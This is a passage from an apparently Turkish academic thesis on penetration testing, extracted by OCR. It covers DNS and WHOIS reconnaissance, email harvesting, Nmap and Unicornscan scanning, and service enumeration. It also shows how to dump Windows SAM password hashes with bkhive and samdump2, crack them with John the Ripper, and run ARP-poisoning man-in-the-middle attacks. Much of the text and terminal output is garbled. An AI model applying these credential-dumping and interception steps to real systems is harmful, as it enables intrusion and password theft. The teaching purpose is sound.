dondiiriilen bilgiler, e-posta adreslerini, iletisim numaralarini, agik adresleri ve diger ilgili
meta verileri igcerebilen sahip bilgilerini igerir. WHOIS, 43 numarali portta ¢alisan
popiiler bir bilgi protokolii hizmetidir. Bir kullanict sunucuya bir WHOIS sorgusu
gonderdiginde, sunucu baglantiyr kabul eder ve ardindan kullanici tarafindan verilen

sorguya yanit verir ve baglantiy1 kapatir.
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3.2.3.3 SMTP

Basit Posta Aktarim Protokolii (SMTP), e-posta istemcileri ve sunucular arasinda e-posta
gondermek ve almak i¢in kullanilir. Bir SMTP sunucusu bir posta istemcisinden bir e-
posta aldiginda, SMTP sunucusu daha sonra e-posta adresindeki etki alani igin MX
kayitlarini kontrol eder. Postay1r uzak SMTP sunucusuyla degistirmek i¢in istek gonderir.
Daha sonra postayi igler (eger bu MX sunucusuysa) veya uygun SMTP sunucusuna iletir.
SMTP'nin diizgiin ¢alismasi i¢in, alicinin alani i¢in ad sunucusunun DNS veri tabaninda
bir dizi MX kaydi tanimlanmalidir. Bir MX kaydinin iki belirli bilgi pargasi tercih
numarast ve bu alan i¢in postay1 isleyecek sekilde yapilandirilmis posta sunucusunun
DNS adi vardir. Etki alanmi i¢in birden fazla posta sunucusu varsa, SMTP sunucusu

tercihine gore birini segecektir.

3.2.3.4DIG

Dig, bir hedef hakkinda bilgi almak i¢in DNS sunucularini sorgulamak i¢in kullanilan
son derecede yararli bir aragtir. Dig komutunu sadece dig komutunu ve ardindan bir alan

adin1 arayarak kullanabilirsiniz, 6rn. Dig www.karansu.com adresi gibi etki alani

hakkinda bazi temel bilgileri toplayacaktir. Bununla birlikte, dig aracinin daha kapsamli
yeteneklerinden bazilarimi kullanarak, daha da yararli veriler toplayabilirsiniz. Tablo 3,
kazma i¢in bazi komut satir1 segeneklerini ve hedefiniz hakkinda kapsamli veri toplamak
icin nasil kullanilabilecegini gosterir. Sekil 7, bunlardan bazilarimin nasil

goriinebilecegini gostermektedir.

Tablo 3. Dig se¢enekleri

Komutlar Sonuglar

Dig www.karansu.com Etki alani i¢in IP adresini ve aracin ne

yaptigina iliskin ayrintili  bilgileri

dondiiren temel sorgu.

Dig www.karansu.com +short Domain ip adresi gonderir.

Dig www.karansu.com + MX +noall | Mail sunucularin1 génderir.

+answer

Dig www.karansu.com + NS+noall + | Dns sunucularini génderir.

answer

30


http://www.karansu.com/
http://www.karansu.com/
http://www.karansu.com/
http://www.karansu.com/
http://www.karansu.com/

dig -f FILENAME ALL + noall + answer | Dosyada listelenen tiim alan adlari igin

mevcut tim verileri dondirur.

0C t:~# dig www.syngress.com +short
69.163.177.2
r t:-# dig @nsl.dreamhost.com syngress.com ANY +noall +answer

; <<>> D1G 9.5.0-P2.1 <<>> @nsl.dreamhost.com syngress.com ANY +noall +answer

; (1 server found)

;; global options: printcmd

syngress.com. 14400 SOA nsl.dreamhost.com. hostmaster.dr

eamhost.com. 2009092900 19951 1814400 14400

syngress.com. 14400 MX 0 elsevier.com.s200al.psmtp.com.
syngress.com. 14400 A 69.163.177.2

syngress.com. 14400 NS nsl.dreamhost.com.

syngress.com. 14400 ('S ns3.dreamhost.com.

syngress.com. 14400 NS ns2.dreamhost.com.

=31 |

Sekil 7. Dig ornekleri (penetration tester's open_source 2011)

3.2.3.5 Host

Host, DNS sunucularini sorgulamak i¢in kullanilabilecek bagka bir aractir. Dondiiriilen

bilgilerin ¢ogu, biraz farkli bir bigimde olup, dig ile nerdeyse aynidir.

3.2.3.6 Dnsenum. pl

Belirli bir hedef icin DNS'nin ayak izini otomatiklestiren BackTrack 4 arag¢ setinde (/
pentest / enumeration / dnsenum /) bulunan bir perl scriptidir.. Sekil 7 'de gosterilen DNS

sorgularini host ve dig kullanarak otomatiklestirmemize yarar.

3.2.4 Sizma Testlerinde Insan

Her seyin temeli her zaman oldugu gibi insanlara dayanmaktadir. Bu nedenle, bir hedef
organizasyondaki en savunmasiz alanlardan biri ¢alisanlaridir. Bu noktada, sizma ig¢in
sosyal miihendislik yonii de ¢ok 6nemlidir. Hedef hakkinda bilgi toplayabilmemiz icin
kesif yaparken insan bakis agisin1 dahil etmeliyiz. Kisilerin kesif metadolojisi, insanlarin
kendileri hakkinda bilgi gonderdikleri veya onlar hakkinda bilgilerin nerede yaymlandigi

gozlenmelidir.

Odaklanacagimiz alanlar sunlardir:
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e Iliskileri(Kisilerin kimlerle diyalogda oldugu sizma yapilacak yerle ilgisinin olup
olmadigi)

e E-posta listeleri (Sadece e-posta adresini veya adini bilerek, bu kisisel bilgileri
genellikle bulabilirsiniz. Taninmis bir kisi olmasalar bile, sizma testi siirecinizde
onlardan yararlanmaniza yardimci olabilecek ek ayrintilar bulabilirsiniz.)

e Web site gonderileri(Pek ¢ok kisi Internetteki cesitli forumlar araciligiyla hemen
hemen her sorunla ilgili yardim alabileceklerini fark eder. Cogu, genellikle
karsilastiklar1 sorunla ilgili bir génderi yapar veya baska birinin gonderisine,
gonderilerinin kendileri hakkinda ne anlattigina ¢ok az yanit verir.)

e Sosyal aglar (Sosyal aglar son birkag yil iginde ¢ok popiiler hale geldi ve artik
Internette aktif olan ¢cogu insanin bir veya daha fazla sosyal agin iiyesi oldugu

noktaya geldi.)

3.2.5 Agik Kaynak Araglar

Acik kaynak araglart siber giivenlik igerisinde yer alan yazilimsal uygulamalar,siber

saldiriy1 kolaylastiran saldir1 yapacak kisiye saldir1 yetenegi sunmaktadir.

3.2.5.1 TheHarvester

Bu arag, bir alan adi i¢in yapilan ¢esitli aramalar1 otomatiklestirir ve ardindan e-posta
adresleri i¢in sonuglar1 ayristirir. Bu araci kullanmak, manuel aramalarda saatler

kazandirabilir ve e-posta adreslerini toplama siirecini nemli 6l¢iide hizlandirabilir.
Yazacagimiz asagidaki kodla hostu ve mail adreslerini bulabildiklerini listeler.
root@bt:~/theHarvester# python theHarvester.py -d karansu.com -1 500 -b google
Searching for karansu.com in google

Limit: 500 Searching results: 0 Searching results: 100 Searching results: 200 Searching
results: 300 Searching results: 400 Accounts found: info@karansu.com
satis@karansu.com fatura@karansu.com Solutions@karansu.com

muhasebe@karansu.com Total results: 5 Hosts found:
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3.2.5.2 MetaGoofil

Edge-Security (www.edge-security.com / metagoofil.php) tarafindan saglanan bir meta
veri analizoriidiir. Bir dosya ¢ogu ofis uygulamasi kullanilarak yazildiginda, yazarin kim
oldugunu, dosyanin nerede saklandigini, ne zaman yazildigin1 vb. Belirtmek i¢in dosyaya
baz1 meta veriler eklenir. MetaGoofil, belgeleri bulmak i¢in bir Google aramasi ile

birlikte kullanir.
1. Tiim dosyalar1 indirilir ve meta verileri ¢ikartilir.

2. Belgelerde bulunan meta verilere bagli olarak kullanici adlari, dosya yollar1 ve hatta

MAC adresleri gibi ilging bilgiler i¢in sonuglar ayristirilir.

3.3 Tarama ve Dokiim (Scanning and enumeration)

Sizma testlerin yapacagimiz tarama ve dokiim yaparken yalnizca onaylanmisg hedefleri
test ediyoruz ve saldirinizin derinligini artirmadan 6nce miimkiin oldugunca fazla bilgi
aliyoruz. Hedeflerinizin amaglarini ve tiirlerini, yani client’a hangi hizmetleri
sagladiklarini belirleyebilirsiniz. Istemcinizin sistemlerinde galisan hizmetlerin siiriimleri
ve tiirleri hakkinda belirli bilgilere sahip olabiliriz. Hedef sistemlerinizi amaca ve kaynak
istegine gore siniflandirabilirsiniz. Hedeflerinizin ne oldugunu ve kag¢ tanesinin
savunmasiz olup olmadigini anladiktan sonra, araclarimizi ve kullanim yontemlerinizi
segebilirsiniz. Yapilan dikkatsiz sistem taramalar1 ve dokiim sadece testinizin
verimliligini diisirmekle kalmaz, ayn1 zamanda ekstra, gereksiz trafik de tespit edilme
sansinizi artirir. Saldirn yiizeyinin azaltmasinda tarama ve numaralandirmanin da énemli

bir rolu vardir.

3.3.1 Tarama

Ne tiir bir sistemi test ediyor olursaniz olun, istismara baslamadan Once tarama ve
siralandirma yapmaniz ve penetrasyon testinizin derinligini artirmaniz gerekecektir.
Bununla birlikte, yonlendiriciler veya giivenlik duvarlar1 gibi erisim kontrol cihazlar
araciligiyla tarama veya numaralandirmayi ele almamiz gereken belirli yollar1 bu kisimda

uygulamalariyla birlikte sonuglandiracagiz.

Kesif asamasindan elde edilen potansiyel hedeflerin listesi olduk¢a genis olabilir. Tarama

stirecini kolaylastirmak i¢in, once sistemlerin hala calisir durumda olup olmadigini
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belirlemek 6nemlidir. Yanit vermeyen sistemler listede yer almasa da, bu asamadan sonra
bir sistemin devreden ¢ikmasi ve taramaniz basladiginda istekleri yanitlamayabilir. Bagl
bir sistemin kullanilabilirligini test etmek igin birkag yontem kullanabilirsiniz, ancak en

yaygin teknik I[CMP paketleri kullanilir.

ICMP paketleri engellenirse, TCP ACK paketlerini gonderilir. Buna genellikle “TCP
Ping” denir. RFC, istenmeyen ACK(onay paketi) paketlerinin bir TCP ile RST (yeniden
gonderme) dondiirmesi gerektigini belirtir. Dolayisiyla, bu tiir bir paketi, baglant1 noktasi
80 gibi bir giivenlik duvari lizerinden izin verilen bir baglant1 noktasina génderirseniz,

hedef, hedefin etkin oldugunu belirten bir RST ile yanit vermelidir.

Bir araliktaki etkin hedefleri kontrol etmek i¢cin ICMP veya TCP ping yontemlerini
birlestirdiginizde, bir ping taramasi gerceklestirirsiniz. Boyle bir tarama yapilmali ve
daha sonra bir tarayiciya girebileceginiz etkin makineleri belirten bir giinliik dosyasi elde
edilmelidir. Cogu tarayici araci, satir basi sinirlamali IP adresleri dosyasini kabul

eder[28].

3.3.1.1 Port Tarama

Birgok farkli baglanti noktasi tarayicist olmasina ragmen, hepsi ayni sekilde c¢aligir.
Birka¢ temel TCP baglant1 noktasi taramasi tiiri vardir. En yaygin tarama tiiri, TCP
baglanti sirasinda veya el sikismasinda goriinen TCP SYN bayragi olarak adlandirilan bir

SYN taramasidir.

Bu tiir tarama, bir hedef baglant1 noktasina bir SYN paketi gondererek baglar. Hedef,
baglant1 noktasi agiksa bir SYN / ACK yanitiyla veya baglanti noktasi kapaliysa bir RST
yanitiyla yanit veren SYN paketini alir. Bu, ¢ogu taramanin tipik davranisidir; bir paket
gonderilir, geri doniis analiz edilir ve sistemin veya portun durumu hakkinda bir tespit

yapilir.

Tam bir el sitkisma yapilmadigindan, SYN taramalar1 nispeten hizli ve gizlidir. TCP el
sikismas1 tamamlanmadiginda ise hedefteki hizmet tam bir baglant1 gérmez ve genellikle

islemi glinlige kaydetmez.
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3.3.1.2 TCP ve UDP taramasi

Bir TCP baglantisi, standart TCP ii¢ yonlii el sikismasinda yer alan tiim adimlarin

kullanilmasini igerir. Standart bir {i¢ yonlii el sikismada, su sekilde siralayabiliriz;

e Kaynak, hedefe SYN gonderir
e Hedef SYN-ACK ile yanit verir
e Kaynak ACK ile yanit verir

Bu diziden sonra bir baglanti kurulmus kabul edilir. Daha 6nce belirttigimiz gibi, gizli
TCP taramasi el sikismanin bir kismini kullanir, ancak baglantiy1 asla tamamlamaz. Gizli

bir taramada, son ACK asla hedefe geri gonderilmez, dolayisiyla baglanti kurulmaz.

UDP'yi taramak, baglantisiz bir protokol oldugundan ve TCP gibi bir el sikisma

kullanmadigindan daha zordur. UDP ile asagidaki sira kullanilir:

e Kaynak, hedefe UDP paketini génderir
e Hedef, baglant1 noktasinin / protokoliin etkin olup olmadigini kontrol eder ve

ardindan buna gore islem yapar

TCP taramalarin1 gergeklestirmek genellikle daha hizli ve daha verimli olsa da, bazen bir
UDP taramasi gergeklestirmek i¢in zamana ve ¢abaya ihtiya¢ vardir. Cogu yonetici, TCP
tabanli hizmetlerin gilivenligini saglamaya daha fazla odaklanma egilimindedir ve
genellikle glivenlik politikalarini belirlerken UDP tabanli hizmetleri dikkate almaz. Bunu

g0z oniinde bulundurarak, bazen UDP tabanli hizmetlerde giivenlik agiklari bulunabilir.

Tablo 4. Nmap Arama Tipleri

Nmap Paket Gonderim Agiksa Yanitla Kapaliysa Notlar

Switch = Tipleri Yanitla
-ST Isletim Sistemi Bag Yapilmis Baglanti Temel ayricaliksiz
tabanli baglanti Reddedildi tarama
VE Zaman
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TCP SYN paketi

Isaretsiz TCP
paketi

TCP packet
FIN,PSH ve URG
flags

TCP packet

birlikte ACK flag
TCP paket, ACK
Flag

TCP
paket
TCP SYN paket

FIN/ACK

IP paket basliklar

Subprotocol SMTP
FTP http

SYN/ACK

Baglanti  zaman

asimina ugradi

RST

RST

RST

Baglanti  zaman
asimi

SYN/ACK

Herhangi bir
protokolde yanit
N/A

asimina
ugradi
RST

RST

RST

RST

RST

RST

RST

ICMP

erisilemez
N/A

Root ayricaliklarina

sahip tarama tiirti

Giivenlik Duvarlarini
atlatmak i¢in
tasarlanmustir.

Giivenlik Duvarlarini
atlatmak i¢in
tasarlanmustir.

Baglanti noktalarini

agmasi gerekmez

Portlarin acikmi
yoksa kapalimi1
oldugunu belirler.
Bsd sistemleri i¢in
calisir

Zombi ana bilgisayar
kullanir.

Calisan hizmeti
belirlemek icin
kullanilir

acik baglanti noktasi;
veritabanini
BANNER

yakalama bilgilerini

servis

kullanir;

de kullanabilir
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3.3.1.3 Acik kaynak araglari

Tarama asamasina yardimci olan birgok araglar bulunmaktadir. Bu araglar, hangi ana
bilgisayarlarin ¢calistigini ve hangi baglanti noktalarinin agik oldugunu belirlemek i¢in bir

hedef listesi tarayacaktir.

3.3.1.4 Nmap

Port tarayicilar1 giris olarak bir hedefi veya araligi kabul eder, belirtilen baglanti
noktalarina bir sorgu gonderir ve ardindan her baglanti noktasi i¢in yanitlarin bir listesini
olusturur. En popiiler tarayici, Fyodor tarafindan yazilan ve www.insecure.org adresinden
ulagilabilen Nmap'tir. Fyodor’un ¢ok amacli araci, test uzmanlar1 ve ag denetgileri
arasinda standart bir iirlin haline geldi. Buradaki amacimiz Nmap’i kullanmanin tim
farkli yollarin1 géormek degil, tarama siirenizi en iyi sekilde kullanmak ve saldiri
derinliginizi artirmak i¢in en iyi bilgileri dondiirmek i¢in birkac farkli tarama tiirii ve

seceneklerine bakacagz.

Etkin hedefleri taramadan Once, -sn segenegiyle Nmap’in ping sweep islevini
kullanabiliriz. Bu segenek bir hedefi port taramasi yapmaz, ancak hangi hedeflerin
yukarida oldugunu bildirir. Nmap -sn ip_address ile root olarak ¢agrildiginda, Nmap, bir
ana bilgisayarin ¢alisip ¢alismadigini belirlemek icin ICMP echo ve zaman damgasi
paketlerinin yani sira TCP SYN ve ACK paketleri gonderir. Hedef adresler yerel bir
ethernet agindaysa, Nmap otomatik olarak bir ARP taramasi ger¢eklestirir ve paketlerden
cevap beklenir. ARP talebi bir hedef i¢in basarili olursa, goriintiilenecektir. Bu davranisi
gegersiz kilmak ve Nmap’i IP paketleri gondermeye zorlamak i¢in —send -ip segenegini
kullanilir. Taramanin bir giivenlik duvarini gegmesi gerekiyorsa, TCP SYN taramasiyla
birlikte bir TCP ACK taramasi kullanmak da yararli olabilir. -PA belirtilmesi, bir SYN
paketini kapali bir port engelleyecek belirli durum bilgisi olan giivenlik duvari

yapilandirmalarini gegebilecek tek bir TCP ACK paketi gonderecektir.
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sweap-send-1p

s up) scanned 1

send-1p 192.1 ( ap - sweep-send-1p- ACK

nmap.orqg ) at 2010-08-0

Sekil 8. Nmap tcp ping

3.3.1.5 Netenum

Komut dosyasi iizerinde ¢alistirilabilir uygulamalar i¢in kullanabileceginiz ¢ok basit bir
ICMP ping sweep programi olarak netenum kullanabiliriz. Temel bir ICMP pingi
gerceklestirir ve ardindan yalnizca ulasilabilir hedeflerle yanit verir. Netenum ile ilgili bir
kosul ise, test i¢in bir zaman asimi belirtilmesi gerektigidir. Zaman asimi belirtilmezse,

giris adreslerinin -CR ile ayrilmis bir dokiimiinii ¢ikarir.

3.3.1.6 Unicornscan: port tarama ve fuzzing

Unicornscan, standart bir baglanti noktasi tarama programindan farklhidir; ayrica,
gerekirse kaynak baglanti noktasi, saniyede gonderilen paket sayist ve kaynak IP
bilgilerinin rastgele secilmesi gibi daha fazla bilgi belirtmenize de olanak tanir. Bu

nedenle, port taramalari i¢in en iyi segenek olmayabilir; daha ziyade, daha sonraki
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“fuzzing" veya deneysel paket iiretimi ve tespiti i¢in daha uygundur. Bununla birlikte,
Nmap'in ping taramasindan ¢ok daha fazla yetenekleri oldugu gibi, Unicornscan daha

karmasik 6zelliklerine ek olarak temel baglant1 noktasi taramalar1 i¢in kullanilabilir.

@bt: # unicornscan -1 ethO -bTN 192.168.1.100/24
open ftpl 21] from 192.168.1.
open ssh([ 22] from 192.168.
open smtp[  25] from 192.168.
open http[ 80] from 192.168.
open pop3[ 110] from 192.168.
open imap[ 143] from 192.168.
open ftpl 21] from 192.168.
open httpl 0] from 192.168.
open ippl 631] from 192.168.
open ftpl 21] from 192.168.
open http[  80] from 192.168.
open epmap[ 135] from 192.168.
open netbios-ssn[ 139] from 192.168.
open https[ 443] from 192.168.
open microsoft-ds[ 445] from 192.168.
open | mysql[ 3306] from 192.168.
t@bt: E

Pt ot ek ek Pk Gt et ek et fud ik et ek pd fud
& 'e. o X o 'ef & ‘& W B @ ® oW g L0

Sekil 9. Unicornscan port-tarama ¢iktisi

3.3.2 Enumeration

Bir hedefin sundugu belirli hizmetleri ve kaynaklari listelemeyi ve tanimlamayi igerir.
Numaralandirmayi, bir IP adres aralig1 veya belirli DNS girisi ve sistemdeki agik portlar
gibi bir dizi parametreyle baslayarak gerceklestirirsiniz. Enumerate hedefiniz,
kaynaginizdan bilinen ve ulasilabilen hizmetlerin bir listesidir. Bu hizmetlerden, sizma
testinin 6zii olan gilivenlik taramasi ve testi de dahil olmak {izere tarama siirecine
gecersiniz. Afis kapma ve parmak izi gibi terimler numaralandirma kategorisine

girmektedir.

Bilgiler toplanip detayli inceleme kismina Enumeration denmektedir. Sizma testlerin
yaparken Enumeration kisminda hedef sisteme aktif olarak baglanilir ve hedef sisteme
paketler gonderilir. Bu baglant1 esnasinda sizmak istenilen sistemden bilgiler elde edilir.
Bu bilgiler sistemin arkasinda calisan yazilim, bu sisteme baglanan kullanicilar,
makinelerin isimleri, yapilan ortak paylasimlar ag bilgileri gibi veriler elde edilebilir.

S1zma testlerinde Enumeration icin servisler su sekildedir.
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e DNS

e SNMP

e NETBIOS
e SMP

o LDAP

e Unix/Limux/Windows

3.3.2.1 Netbios

Netbios kullanim amaci soyledir: LAN {izerindeki araglarin birbirleriyle olan
iletisimlerini saglamak igin API saglar ve UDP portlarindan standart olarak 139 portta
hizmet verir. Netbios’un ii¢ amac1 vardir: Isim ¢dziimlemek, oturum hizmeti ve data gram
dolagimini saglamak. Sizma testlerinde Netbios kotiiye kullanarak Mac adres degisikligi,
oturum acgan kullanict, parolalar ele gegirilebilirler, Dos ataklar1 gerceklestirilebilir, biitiin

parola ozetleri saldir1 yapan kisiler tarafindan ele gegirilebilirler.

3.3.2.2 Nbtstat araci

NetBT mevcuttaki sistemde TCP/IP baglantilarini goriintiiler. Kullanimi sdyledir: nbtstat
—-A192.168.1.11

3.3.2.3 Snmp servisi

Ag tizerindeki sunucu, bilgisayar, switch, gibi yonetimi ve kontrolii igin kullanilir. UDP
161- ve 162 portlarini kullanmaktadir.3 strtimii bulunmaktadir
SNMPv1,SNMPv2,SNMPv3 bu versiyonlar1 birbirinden ayiran 6zelliklerde baslicalar
vl ve v2 trafikler ac¢ik metin olarak gider v3 te ise sifreleme ve kimlik dogrulamasi
yapilmaktadir. Sizma testi esnasinda SNMP ile birlikte elde edilebilecek bilgiler ag
cihazlari, VLAN bilgileri, cihazlara 6zel bilgileri, kullanict sifreleri ve keyleri toplayabilir

ve kullanmlabilir.

3.3.2.4 NTP enumaration

Agdaki bilgisayarlarin zamanini kontrol eder. Udp 123 portunu kullanmaktadir. Sizma
testleri yapilirken Agda yer alan kullanicilarin IP adresini, igletim bilgilerine ulasilabilir.

Ntptrace, ntpdc, ntpq gibi araglar1 kullanilir.
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3.3.2.5 Unix/Linux enumaration

Finger: Finger araci kullanic1 ve sistem hakkinda bilgiler toplar bu bilgiler kullanicinin
oturum agma bilgisi, kullanicinin mail trafigi, ¢alisan sistemin sirket bilgileri gibi bilgileri

toplar. Ornek olarak finger admin@192.168.40.70

Rpcclient: Kullanici isimlerini toplar.
Rpcinfo: RPC bilgilerini toplar.

Enum4linux:Samba araci ile kurulu olan isletim sistemlerinde bilgi koparmaya yarar.

3.3.2.6 Windows enumaration araglari

Psexec: Uzak ve local sistemlerde siireg islemlerini gerceklestirmemizi saglar.
Psgetsid: SID bilgilerini toplamamizi saglar.
Pslist: Uzak ve local sistemlerdeki siireg ve bellek bilgilerini getirir.

Psloggedon: Sistemdeki kullanicilari toplar.

3.3.2.7 Enumaration onlemleri

Gereksiz servis olan netbios ve elektronik posta gonderme protokoliinde open
relay, DNS’te yer alan adi tasimayi kontrol altinda tutulmalidir. Giivenlik duvarlari
kullanim1 kaldirmayarak karsi baglantilara izin verilmemelidir. SNMPv3 gibi sifreli
protokoller kullanilmalidir. SMPT sunucular: iletilen mail adreslerini dogrulayarak
kontrol altinda tutmalidir. Log mekanizmalar1 olusturulmalhidir. Alacagimiz tedbirler ile
saldirt ylizeyini azaltarak gelecek olan saldirilarin etkisiz olmasini saglayarak sizma

yapilacak olan sistem tarafindan giivenlik 6nceligini arttiracaktir(Basaranoglu,2020).
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4.BILISIM SISTEMLERINDE SIZMA TESTLERI

Bilisim sistemlerinde gerekli giivenlik tedbirleri alinmadig1 anlarda, saldirilara agik olup

erisim noktalarindan sistemimize ve sunuculara yapilan saldirilardan dogacak zararlar ve

Onlenebilecek tedbirler konusunda analizler c¢ikartip, saldiri ylizeylerinin saptanip

giivenlik ve 6nlemlerin alinmasi belirlenmistir.

Saldirilar ¢esitli durumlara gore ayrilarak incelenebilir. Saldirgan sayisina, hedef sinifina,

basvurulan saldir1 sekline, amac¢ ve araclara gore saldirilar olarak sekil 10°da

gosterilmektedir(Canbek ve Sagiroglu,2007).

Saldirilar cesitli sekillerde siniflandirilarak incelenebilir. Saldirgan sayisina, hedef

tiriine, kullanilan yola, kasit ve araglara gore saldirilar, Sekil 10’da gosterildigi gibi

siniflanmaktadir.

— Saldirgan —[1

Solo Saldir

Coklu Saldin

Tek Hedef Saldin

Cok Hedefli Saldin

1

Ag Saldinsi

Saldin

Dogrudan Saldir

1o ﬂ

Dolayh Saldin

e Kasit

—— Arac —[1

Bilgi Hirsizhan

Kaynak Yikimi

On Saldin

|

DoS Saldin

Yerel Saldin

Uzaktan Saldin

Sekil 10. Saldiri cesitleri
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4.1 Fiziksel Saldirilar Uygulama Testleri

Saldirilan sisteme baglandiktan sonra birgok fiziksel degisiklik ve giivenlik kapilarini
acarak sifreleri kolaylikla degistirilebilir. Bununla birlikte bir¢ok uygulama ile bu sifreler
kolaya degistirilebilmektedir.

4.1.1 Windows Parolalarinin Kirilmasi

Windows’ta parolalar registry igerisinde gizli korunan hafiza kismina kaydedilir. “KJ-
KEY_CURRENT _USER/software/Microsoft protected storage system provider”.Bu
konumda koruma altina alinmistir ve user tarafinda gériinememektedir. Windows 7,8
Windows server 2008 gibi isletim sistemleri nt2 formatinda sifrelenmistir. Disaridan
saldirtya agik olan hedefimizn sifrenin kirilabilmesi bazi adimlar1 gergeklestirmek
zorundayiz. Windows igerisinde yer alan c:\windows\system32\config\sam dizini altinda
sifreleri saklamaktadir. Kullaniciya hiren ile boot yapilarak sam dosyasini i¢erisindeki
dosyalar silinebilir ve degisiklikler yapilabilmektedir bunu da NTPW edit programi ile
degistirebilmekteyiz.

=1ofx]

M NTPWEdit © 2005-2007 Vadim Druzhin About
—Path to SAM file

[c: \WINDOWS\SYSTEM32\CONFIG\SAMI _I l f .E.;I;.per.
~User list e

(1D | Name
501 Guest
1000 test

lchangepasword! ] 2

Saye chandes I

— et

Sekil 11. NTPWedit araci ile sifre degistirme
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Bir baska uygulamada Kali Linux iizerinden sam dosyalarinin tespit edilebilmesi
gerekmektedir. Fdisk komutu, bir veya daha fazla disk i¢in boliim tablosunu gérmenize
olanak saglar. Mount komutu ile bir dosya sistemini baglayacaktir. Bu bir Windows dosya

sistemi oldugu i¢in "-t ntfs" segenegini belirtiyoruz.

Applications Places & [ Wed Oct 23, 2:17 PM

root@kali: ~ ‘

File Edit View Search Termipal Help

, total 16777216 se

:~# mount -t ntfs|/c
=1 |

0] root@kali: ~

Sekil 12. Sam dosyalarim elde edilmesi-1

Df komutu, dosya sistemi disk alan1 kullanimin1 bildirir. Ok 1, Windows Diskini gésterir.

Ok 2, Windows Diskin takili olmadig1 / mnt noktasidir.

Applications Places g 5] Thu Oct 24, 7:53 PM

‘ root@kali: ~ l

| Fite Edit View Search Terminal Help
s /mnt

pA

Windows Disk Mount Point

Sekil 13. Mount point goriintiileme

Sekil 13’e gosterildigi gibi Windows disk boot boliimiinii (/ dev / sdal) / mnt dizininin

iistline bagladigimiz igin, i¢erigini Ls komutu dizin i¢eriklerini listeleyecektir. SAM veri
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tabaninin bulundugu yer burasidir. SAM veri tabani, tiim Windows sifrelerinin bulundugu

yerdir.

root@kali: /mnt/WINDOWS/system32/config

File Edit View Search Terminal Help

:/mnt /WINDOWS /system32/config# 1s 1
ppEvent.Evt SAM SECURITY.LOG Systvent.Evt system, sav
fefault SAM. LOG software system TempKey.LOG
jefault.LOG SecEvent.Evt software.L0G system.L0G userdiff
jefault.sav  SECURITY software.sav BB Brard userdiff.L0G

:/mnt /WINDOWS /system32/

/mnt /WINDOWS /system32/config#

:/ont /WINDOWS /system32/config# bkhive system /root/hive.txt P

1.1.1 by Objectif Securite
ww.objectif-securite.ch
al author: ncuomo@studenti.unina.it

oot Key : $$$PROTO.HIV
)efault ControlSet: 001

ootkey: a0fB8ealdd4dS6bcbd35eblt

samdump2 SAM /root/hive.txt > /root/hash.txt

al author: ncuomo@studenti.unina.it

oot Key : SAM
/mnt /WINDOWS /system32/config# l

Sekil 14. Bkhive ve samdump? ile sam dosyalarimin alinmasi

Sekil 14’ de gosterildigi gibi bkhive komutu ile boot anahtar1 ¢ikarilarak bootkey
kullanilarak sam dosyasi igerisindeki hash edilmis sifreler alinir ve Samdump?2 araci ile

de sam dosyalari elde edilir.
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root@kali: #/.john
File Edit View Search Terminal Help

ICreated directory:
lLoaded 1 password hash

c/s: 160260 trying: as

cd /root/.john @2
/. john#
john#
:~/.john# 1s -1 3

1 root root 77488 Oct 24 05:28 john.log
1 root root 46 Oct 24 05:28 john.pot

john#¥ cat john.pot 4
8f7dfadBe8bd7ccc3842f2cal: football
:~/, john# .

Sekil 15. Hash dosyalarinin kirilmasi

John The Ripper araci sifre kirma aracidir Yukarida goriildiigi gibi elde etmis oldugumuz
hash dosyalart John The Ripper araci ile kirilarak sifreler elde edilir(Password
cracking,2018).

4.1.2 Aglarda Yapilan Man in the Middle Saldiris1 (Ortadaki Adam Saldirist)

Ortadaki adam saldirist TCP/IP aglarda kullamilan ve iki baglanti igerisinde olan
kullanicilarin dinlenmesi ve saldirganin her tiirlii degisiklik yapmasini saglayacak
saldiridir. Bu saldiri tiiriinden agda yer alan paketler kontrol edebilir ve manipiile edebilir.
Genel olarak bu saldir tipi herkes tarafindan bilinip ama koruma alinmayan saldiri
tiplerin 6rnegi diyebiliriz. Cesitli koruma yontemleri de olsa da bu yontemler bir yerden
sonra etkisiz hale gelebiliyor. Wi-fi saglayan alanlarda paketler genel olarak broadcast
olarak dagildig1 icin saldir1 yapan kisi tarafindan paket elde edilebilmektedir. Ozellikle
icretsiz olarak Wifi Mitm saldirilarimin  yapilabilmesi bulunmaz firsatlardir. Bu
durumlarda sifrelenmis olan paketler bile basit bir sekilde okunabilmektedir. Man in the
middle saldirisinda karsi hedef sistemin kendisi koruma olarak ARP kayitlarini
kullanilmas: gerekmektedir. Hedef alinan sistemin Mac adresini sabit yani
degistirilemeyecek olarak girilmesi gerekmektedir. Kullanilan bu yontem saldir1 yapan
kisinin tecriibesiyle alakali belli bir seviyeye kadar koruma saglayabilir sistemin router —

gateway ile degilde gateway-router ile arasina girerse alinan 6nlem ise yaramayacaktir.
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Kisaca anlatacak olursak sistemden ¢ikan trafik router’a sonra hedefe ulasacak, geri
donen trafik, Router’a Routerdan sonra ise saldir1 yapan kisiye en son ise sisteme geri
donecektir. Bu sefer gidis yoniindeki paketler degil, doniisteki paketlere miidahale s6z

konusudur.

Korunma iki sekilde olabilir Her iki sistemde statik MAC adresleri kullanarak diger bir
¢Ozlim ise donanim seviyesinde ¢oziimlemesi ile yapilmaktadir. Bu da Saldir1 yiizeyinin

belirlenmesi de bize ipucu verecektir.

4.1.3 Yerel Aglarda Uzerinde Yapilabilecek Saldirilar

Ortadaki adam saldirilar1 OSI de 2. Katman igerisinde olusturulur saldir1 basariyla
sonuclanirsa biitiin trafigi elde edilerek saldirili basarili olur. Bu sifreli veya sifresiz olan
“https” trafiginde de gecerlidir. Basarili olan saldiridan sonra geriye kalan miidahaleler

saldirganin tecriibesine kalmistir.
Yerel ag tlizerinde yapilacak olan saldirilar sdyledir;

e ARP Poisoning (ARP Zehirlenmesi)

e DNS Spoofing (DNS Zehirlenmesi, Aldatma)
e Port Stealing

e STP Mangling

Yerel Agdan Uzak Aga Gateway Aracilifiyla Yapilan Saldirilar Soyledir;

e ARP Poisoning (ARP Zehirlenmesi)

e DNS Spoofing (DNS Zehirlenmesi, Aldatma)
e DHCP Spoofing (DHCP Aldatma)

e |CMP Redirection

e |IRDP Spoofing

e Route Mangling

ARP Protokolii:

Arp protokoliinde iki ¢esit paket bulunmaktadir. Bunlar, Arp istek ve Arp yanit
paketleridir. Arp onbellegi gorevi, ag i¢erisindeki bilgisayarlarin IP ve MAC adreslerinin

47



tutuldugu yerdir. Agda bulunan bilgisayarlarin, birbirleriyle olan iletisimlerini
